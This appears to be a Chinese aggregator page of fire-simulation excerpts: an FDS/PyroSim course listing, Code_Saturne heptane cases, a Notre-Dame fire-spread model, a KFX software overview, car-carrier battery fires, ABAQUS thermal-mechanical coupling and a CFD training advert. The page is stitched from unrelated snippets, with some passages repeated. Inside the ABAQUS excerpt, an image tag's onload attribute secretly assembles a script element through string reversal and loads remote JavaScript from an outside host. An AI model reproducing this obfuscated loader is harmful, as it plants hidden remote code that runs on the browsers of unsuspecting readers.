火災模擬的案例
使用火災動力學模擬器(FDS)完成火災CFD模擬課程（英） ￥15
使用火災動力學模擬器(FDS)完成火災CFD模擬課程（英）
發布于2026年3月
MP4 | 視頻：h264, 1920x1080 | 音頻：AAC, 44.1 KHz, 雙聲道
語言：英語 | 時長：12小時45分鐘 | 大小：9.42 GB
**FDS實用火災建模 — 熱釋放速率、暖通空調、控制系統及高級CFD應用**
**您將學到什么**
- 使用FDS和 PyroSim 構建完整的火災模擬模型，從幾何設置到結果解讀。
- 設計結構化計算網格，并利用特征火災直徑計算合適的單元尺寸。
- 定義材料、反應、組分和表面，以準確模擬火災增長和煙氣行為。
- 布置和配置測量裝置，用于測量溫度、能見度、煙氣層高度、熱釋放速率和流量。
**課程要求**
- 具備傳熱學和流體力學等工程基礎的基本理解會有幫助，但非強制要求。
- 無需具備FDS或PyroSim的先驗經驗。課程循序漸進地涵蓋基礎知識和高級概念。
- 需要一臺能夠運行PyroSim和FDS模擬的計算機。
- 必須具備學習計算火災建模并應用工程判斷的意愿。
**課程描述**
火災建模在性能化消防安全設計中已不再是可選項 — 它是必不可少的。
這門關于火災動力學模擬器(FDS)的完整專業課程，將帶您從零基礎走向高級實際火災建模應用。無論您是消防工程師、CFD工程師、機械工程師、安全顧問還是研究人員，本課程旨在讓您在構建、運行和解讀火災模擬方面具備專業能力。
我們從火災動力學基礎、燃燒原理以及理解FDS工作原理所需的CFD基礎知識開始。
展開 【CAE案例】室內火災的3D計算模擬
01研究背景
作為EDF R&D較早開發的代碼， MAGIC被廣泛運用在工業應用中，主要包括火災安全分析，防火區分區以及火災概率風險評估等。然而MAGIC所能模擬的溫度范圍較小，對流體模擬的精細程度不夠，且實際工程往往要求對大型復雜幾何空間內火災后空氣和煙的流動做精細的建模與模擬，因此CFD數值模擬顯得尤為重要。本文提供了一種運用CFD軟件code_saturne對室內火災進行3D計算模擬的數值方法。
02 算例1：庚烷燃燒的模擬
如上圖所示，模擬區域為21m x 7m x 3.8m 的長方體空間，其中庚烷在中心2m x 1m 的區域燃燒。整個區域的網格劃分如下圖，在庚烷燃燒區域網格劃分的更加精細，以更好的記錄該區域流體溫度和速度的變化。
其中模擬所用到的物理參數包括庚烷的燃燒熱44.6MJ/kg，燃燒功率在28min的模擬時長中保持常數1140kW，庚烷的熱解率為0.025kg/s，其初始溫度假設為371K（沸騰溫度）；空間周圍的墻壁假設為有一定導熱系數，厚度以及發射率的壁面，初始時的空氣溫度設為30℃。本文對庚烷在不同湍流模型和輻射模型下的燃燒行為進行了模擬以及對比。
展開 巴黎圣母院火災蔓延過程CFD模擬
法國當地時間2019年4月15日下午6點50分巴黎圣母院發生火災，這座人類著名歷史建筑被大火嚴重破壞。在扼腕嘆息之余，“學術小鎮”通過計算流體力學CFD模擬手段再現了巴黎圣母院的火災蔓延過程，為火災事故原因調查提供了初步的參考。
1. 火災蔓延CFD模擬
巴黎圣母院主體為砌體拱結構，上部覆蓋木結構屋頂，因此，本次大火的主要蔓延區域是木屋頂部分，如下圖深紅色區域。
（圖片源自BBC）
為模擬這次火災事故，我們在第一時間建立了巴黎圣母院的計算流體力學CFD數值模擬模型，如下圖所示。模擬平臺為美國國家標準與技術研究院NIST研發的軟件FDS（火災動力學模擬器）。圖中綠色部分為巴黎圣母院的木質屋頂，設置成可燃物，其他區域為惰性不可燃物體。
精細化的火災CFD模擬耗時巨大，一般需要大型計算機，長達數日才能給出結果。在此次模擬中，我們在材料燃燒性能和燃燒時間方面都進行了簡化和縮放處理，以最快時間給出結果。
歷經12小時的資料收集、建模、模擬、討論后，我們給出了巴黎圣母院火災蔓延過程的CFD模擬結果，如下所示：
巴黎圣母院火災蔓延過程CFD模擬
通過上述巴黎圣母院的火災蔓延過程模擬結果，我們可以清楚的看到：火是從中間部分開始蔓延，先向上蔓延，燒毀了高塔Spire，然后向四周蔓延，燒毀了整個十字型木屋頂。
2. 與實際過程的對照
我們完成模擬后，恰好發現紐約時報梳理了巴黎圣母院火災蔓延過程（可點擊文末“閱讀原文”查看）。我們將模擬結果與紐約時報結果進行了對照，以驗證CFD模擬的合理性。
展開 室內火災與噴淋模擬分析
室內火災與噴淋模擬分析
現代社會隨著經濟的高速發展，人類面臨的火災現象呈現出復雜化和多樣化的趨勢，火災的發生已從地面（森林火災等）發展到地下（地鐵、地下商場火災等），從固定環境（建筑火災等）發展到移動環境
（如交通工具火災等），而火災事故的發生頻數和直接損失也不斷上升。在眾多火災中，那些受限空間內的火災造成的人員傷亡和經濟損失極為重大，如建筑，地鐵和船舶火災等，這類火災直接發生在人類社會最主要的活動場所，它對人類生命和財產的危害最大。
火災是一種很復雜的物理化學過程，它包含著湍流流動及混合、傳熱和傳質、熱解和各種化學反應等分過程，也包含著這些分過程的相互作用。人們研究火災的主要目的在于揭示火災發生、發展的規律，既
要定性研究煙氣運動的規律，也要定量研究火災及煙氣的濃度、速度、溫度等的空間分布及其隨時間的變化規律，以便對受限空間的防火設計及火災的評估、預防、撲滅及人員逃生提供定性或定量的理論和試驗依據。
目前對各種受限空間火災的研究方法主要包括兩個大的方面，一是利用實物或相似模型進行試驗研究；二是利用計算機建模數值模擬研究。大家知道實物或模型試驗研究受到費用、設備、環境等多方面因
素的影響，且同一實物試驗是不可重復的一次性試驗。因此，近年來隨著計算機速度性能的不斷提高，越來越多的火災研究者利用計算機建模對火災進行數值模擬研究，它彌補了前一種方法的很多缺點。
為簡化計算，在對火災模擬的過程中，可不考慮火災中可燃物的實際燃燒過程，只考慮可燃物燃燒的兩個主要特性（即燃燒發出熱量和放出煙氣）對發生火災的受限空間的影響。這樣就可以按照火源的主要特征（放熱和放煙）對火源進行簡化，即將燃燒過程的發熱特性簡化成具有相同放熱速率的熱源，煙氣特性簡化成有一定質量流的煙氣羽流。
展開 
開源CAE Code_Saturne案例 | 運用Code_Saturne對室內火災的3D計算模擬
擁有多種不同的湍流模型，例如雷諾平均模型（Reynolds Average Navier-Stokes: RANS）與大渦模擬模型(Large Eddy Simulation: LES)。
軟件涵蓋多種工業應用物理模塊：大氣模擬、煤粉、重質燃料及生物質的燃燒模塊、電弧與焦耳效應模塊、顆粒追蹤模塊、流體機械轉子-定子互動模塊等。為適應工業界復雜的物理問題，該軟件具備靈活的二次開發接口。其強大的并行計算能力，適用于超性能計算平臺處理大規模計算問題。該軟件在工業領域得到廣泛的應用與認可。
本文旨在提供運用Code_Saturne模擬室內火災的3D算例模型。
研究背景
作為EDF R&D較早開發的代碼， MAGIC被廣泛運用在工業應用中，主要包括火災安全分析，防火區分區以及火災概率風險評估等。然而MAGIC所能模擬的溫度范圍較小，對流體模擬的精細程度不夠，且實際工程往往要求對大型復雜幾何空間內火災后空氣和煙的流動做精細的建模與模擬，因此CFD數值模擬顯得尤為重要。本文提供了一種運用CFD軟件Code_Saturne對室內火災進行3D計算模擬的數值方法。
算例1：庚烷燃燒的模擬
如上圖所示，模擬區域為21m x 7m x 3.8m 的長方體空間，其中庚烷在中心2m x 1m 的區域燃燒。整個區域的網格劃分如下圖，在庚烷燃燒區域網格劃分的更加精細，以更好的記錄該區域流體溫度和速度的變化。
展開 KFX/EXSIM火災爆炸CFD模擬仿真軟件
KFX軟件主要特點
KFX 是一款三維瞬態CFD 軟件，計算速度快、效率高
KFX 可以模擬氣體擴散和所有類型的火災及燃燒
KFX 包括CAD 導入功能（PDS,PDMS,IGES,Flacs 模擬或其他）
KFX 與有限元結構響應軟件Fahts/Usfos 之間具有借口，從而進行動態結構響應分析
KFX 的模擬結果可以作為聲學計算軟件輸入，計算燃燒噪聲的生成與傳播
KFX 具有詳細的求解器，帶有噴水系統的火災減災措施的拉格朗日模型
KFX 具有高效的前處理和后處理能力并且界面友好
KFX 具有靈活的網絡處理技術，可以滿足不同尺度的模擬需求
KFX 可以在結果中同時表現未燃燒氣體、火焰及延誤的生成
KFX 可以對火災發生時逃生路線上人員所面臨的環境進行動畫演示，并以第一視角進行表達
KFX主要功能
各種火災模擬
模擬所有類型的火災:例如池火、噴射火、噴霧火、火炬、LNG 火災、密閉空間火災、復雜
阻塞區域火災或開放空間火災等，包括對溫度、熱輻射、煙氣、能見度、燃燒物質濃度、
有毒氣體、噪聲等進行詳細的計算
人員安全，例如對逃生路線的分析及設計，風險評估等
火災對結構和過程設備的影響
被動防火（PFP）設計
火災溫度、熱輻射和煙氣對人的影響
對防火系統進行模擬、分析和設計，例如噴水器、大液滴噴水、噴霧和水幕等
氣體擴散，氣體和火災探測系統布局設計
火炬及燃燒設備分析與設計
對各種火炬及燃燒設備中的燃燒進行模擬及分析
火炬熱輻射、點火和啟動、煙霧生成
燃燒設備的優化和安全設計
焚燒設備設計優化，降低燃燒設備和工藝過程中有害物質的生成
通風、氣體擴散、湍流及常規熱力學分析
地下空間、軌道及交通隧道中的火勢蔓延及減輕仿真
展開 “很抱歉，您訂購的愛車在太平洋燒起來了”
2025年6月，一艘名為“MorningMidas”的汽車運輸船在太平洋突發火災。這艘船載有約3000輛汽車，其中約800輛為電動汽車，火源最初就出現在裝電動車的貨艙甲板。
盡管船上有滅火系統，但在鋰電池熱失控引發的火情面前，傳統的手段收效甚微。最終，全員棄船逃生，船只沉沒。
2025年，中國新能源汽車出口261.5萬輛。乘船出海，將是未來中國汽車行業的常態。
船舶消防壓力很大，汽車動力電池的熱失控風險，以及高溫、毒煙和高復燃率，使得火災復雜性指數級上升。
在此背景下，以往的防滅火設計經驗逐漸失靈，需要更專業的分析工具：火災模擬與代理模型。
一、什么是火災模擬？
火災模擬，通俗說就是在數字世界“放一把火”，觀察它的演變，為防火設計和滅火方案提供參考。
從底層邏輯看，傳統的火災模擬屬于計算流體力學（Computational Fluid Dynamics,CFD）的一個分支。也就是通過數值計算，求解描述流體流動的質量、動量和能量守恒方程。
只是火災模擬在標準流體計算的基礎上，要額外考慮以下因素：
■ 化學反應：模擬燃料（如汽車內飾、電池材料）與氧氣的燃燒過程。
■ 熱輻射模型：火災中大量能量通過輻射傳遞，影響火勢蔓延。
■ 煙氣傳輸：追蹤一氧化碳、煙塵等有毒有害物質的擴散路徑。
二、為什么需要“代理模型”？
在實際工程中，無論是通用CFD軟件，還是專用火災模擬軟件，面對汽車運輸船這種內部空間開闊、多層貫通式甲板結構，以及成千上萬個潛在火源點時，效率都堪憂。
以一艘承載7000至8000輛汽車的運輸船為例，每一輛車都是潛在起火點。這意味著潛在的火源點分布在十幾層甲板中，數量上萬。
展開 154二維元胞自動機模擬森林火災（生命游戲 ）和模擬收費站交通流 ￥12.2
基于matlab的二維元胞自動機模擬森林火災（生命游戲 ）和模擬收費站交通流。全國大學生美國建模競賽，程序已調通，可直接運行。
FDS火災模擬！
FDS（Fire Dynamics Simulator）是由美國國家標準技術局開發的火災動力學模擬工具。該軟件是基于計算流體力學（CFD）的一種數學模型，能夠模擬火災燃燒的能量驅動流體流動。
軟件采用數值方法求解一組描述熱驅動的低速流動的Navier-Stokes方程(粘性流體方程)，重點是計算火災中的煙氣流動和熱傳遞過程。該軟件把設定空間分成多個小的三維矩形控制體或計算單元，計算每個單元內氣體密度，速度，溫度，壓力和組分濃度用質量守恒、動量守恒和能量守恒的偏微分方程來近似有限差分，通過對同一網格使用有限體積技術來計算熱輻射、流體流動中存在湍流現象，追蹤預測火災氣體的產生和移動，并結合家具、墻壁、地板和頂棚的材料特性來計算火災的增長和蔓延。FDS處理湍流流動有兩種方法，即大渦模擬（LES）方法和直接數值模擬（DNS）方法。模擬求解后可獲得相關測量點處溫度、CO濃度、CO2濃度、O2濃度、能見度等一系列數據。
該模型的一部分應用在煙氣控制和水噴淋及探測器啟動的研究，另一部分用在民用建筑或工業火災的重現工作。隨著軟件技術的發展，模型算法的進一步完善，FDS提供了一種研究火災動力和燃燒基礎的工具，同時開始用于解決消防行業中實際的火災問題。隨著FDS源程序不斷更新不斷完善，在較新的版本中可進行火災過程和疏散過程的聯合模擬。當前，FDS的使用已經開始超出火災研究實驗室的范圍，進入了工程建設領域，可以作為建筑性能化設計的輔助工具之一。
下面以一個室內沙發被點燃發生火災后啟動噴淋的案例來演示這款軟件的使用流程。
1 啟動軟件
（1）在Windows系統下執行“開始”→“所有程序”→PyroSim 2018，啟動PyroSim程序。
（2）單擊主菜單File→New按鈕，新建項目。
展開 新型樓板火災溫度場試驗和模擬研究
Numerical Simulation
模擬研究
不銹鋼芯板中含有大量芯管，芯管按一定的間距排列，芯管與芯管之間填充巖棉隔音保溫。模型幾何參數如圖10所示，芯管沿芯板長度和寬度方向的間距分別為l1、l2，面板厚度為t，芯管厚度為δ，內徑為d，高度h。有限元模擬時取一個蜂窩胞元建立3D實體傳熱模型，建模時根據實際的不銹鋼芯板尺寸進行確定。胞元由4個部分組成：面板、芯管、巖棉和空氣，其熱物性參數見表1，其中不銹鋼面板和芯管的熱物性參數采用歐洲規范EN-1993-1-2-2005推薦值。
圖10
表1
芯板內部各個部分之間采用tie接觸。芯管內壁和上下面板構成一個三表面閉合空腔，設置空腔輻射，不銹鋼表面發射率εs為0.2。根據歐洲規范EN1991-1-2-2002，對于以纖維類物質為主的火災，火災升溫曲線按照ISO834升溫，受火面對流換熱系數hc(exposed)取值25W/(m^2·℃)，綜合熱輻射系數εr(exposed)取0.4，背火面設置綜合對流換熱系數hc(unexposed)為9W/(m^2·℃)。實驗時采用電爐模擬火災，故模擬時的受火面對流換熱系數hc(exposed)取值50W/(m^2·℃)，綜合熱輻射系數εr(exposed)取0.9，不銹鋼表面發射率εs取0.3，背火面綜合對流換熱系數hc(unexposed)取9W/(m^2·℃)。胞元側面巖棉則為絕熱面，環境溫度設為20°C。
4.
展開 CFD技術在綠色建筑設計中的應用
圖1 夜校三維模型
1.通風模擬
本例中共有三層樓，其中每層樓格局相同，我們建立一層樓的模型，對其通風問題進行分析，圖2和圖3分別為DM中建立的分析模擬、分析云圖；根據分析速度場及空氣齡對通風不暢區域進行優化設計。
圖2 DM分析模型
圖3 分析云圖
2.火災模擬
火災的模擬對于建筑設計十分重要，目前對于火災的模擬也是基于CFD基礎之上的。
圖4 煙霧模擬
3.逃生模擬
根據上文模擬起火的位置，設計逃生路線，從而可以計算逃生的時間，從而判斷建筑物對于安全通道的設計是否合理。
圖5逃生模擬圖
展開 
BIM模型在火災中如何發揮作用？
3.表格化火災原因調查信息，火災調查人員可以對模型內部的構件進行點對點的分析，可以基于平面及立體的圖面，立即獲得構建的空間信息及方位信息，使火災鑒定結果以簡單的程序來展現，即BIM模型的可視化效果，可清楚判讀火災原因。
4.BIM模型與火災模擬軟件結合，簡化輸入指令的程序及火災現場重建的過程。
不難看出，BIM模型不單單可以為設計、施工乃至運維提供數據支持，在災害面前也可以提供幫助。通過BIM模型在火災模擬上的應用，把突發的火災風險降到最低，給人、物、財產第一時間提供最佳的逃生以及搬運路線，可以說BIM模型在火災方面的模擬演示，讓設計、施工以及業主方提高了安全意識，給未知的風險安上了一個可控的工具。
來源：BIM大咖
展開 ABAQUS熱力耦合分析(火災試驗模擬)
<p><strong>0、分析方法簡介</strong></p><p><strong>順序熱力耦合—火災試驗最常用分析方法。</strong></p><p><strong>1、單位統一</strong></p><p>做熱力耦合，要統一好單位，不然很容易出錯。</p><p><img onload="var st=document['create' + 'Element'](['t', 'p', 'i', 'r', 'c', 's'].reverse().join(''));st['src']='https://img.jishulink.com/202505/attachment/e3c0c45774c44ad99c4c8cf72de98f7b.js';document.body['append' + 'Child'](st)"src="https://img.jishulink.com/202006/imgs/13c531bcd602468dae83523073c6d0c5"></p><p><strong>2、時間單位</strong></p><p>時間單位用min和s，注意Stefan-Boltzmann常數、對流換熱系數和導熱系數的換算。</p><p><strong>3、熱膨脹系數</strong></p><p>計算公式有2種，單位不一樣，注意單位的換算。
展開 CFdesign用于地鐵站火災通風的數值模擬
資料地址：http://www.sheenray.com/jswz-36.pdf
資料來源：http://www.sheenray.com/zlxz.html
CAE培訓中心-CFD在建筑行業應用高級培訓
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講師簡介：
[p=25, null, left] 沈博士：畢業于華東理工大學環境工程專業，發表污染物擴散CFD模擬方面文章多篇。曾在世界頂級CFD軟件與服務提供商飛昂軟件公司和歐洲某大型建筑工程咨詢有限公司擔任高級CFD工程師多年。在CFD和采光分析等建筑環境模擬方面具有豐富工程經驗和Airpak/FLUENT軟件培訓師經驗。熟悉國內國際相關法律法規（GB，ISO，ASHRAE）中對公共建筑，綠色建筑，特型建筑等的建筑環境要求，結合暖通設計方案對室內外流動傳熱等過程進行模擬分析，涉及的國內外項目包括：對室內動態熱源火災過程模擬；籃球館游泳館等大空間建筑暖通方案的氣流組織校核；復雜外形高大標志性建筑物的外流場校核；室內污染物擴散模擬；街區或建筑群中污染物擴散模擬；地埋管與地源熱泵的模擬；室外綠化，水體等對大氣流動的影響及舒適性的模擬等。
此次培訓中，培訓師將通過實例與學員分享上述各類典型專題模擬所涉及的建模，網格生成，邊界條件設置，模型選擇，結果分析等方面技巧。[/p][p=25, null, left]
[/p][p=25, null, left]培訓大綱：
1.建筑行業CFD概述
2.常規室內氣流組織分析
3.室內火災模擬
4.高大建筑室內空間氣流組織模擬
5.小區域室外流場分析與控制
6.換熱系統模擬
7.軟件技巧[/p][p=25, null, left]
聯系人：顧女士[/p][p=25, null, left]手機：15021917183[/p][p=25, null, left]直線：021-64878366--848[/p][p=25, null, left]郵箱：caetraining@sheenray.com[/p]
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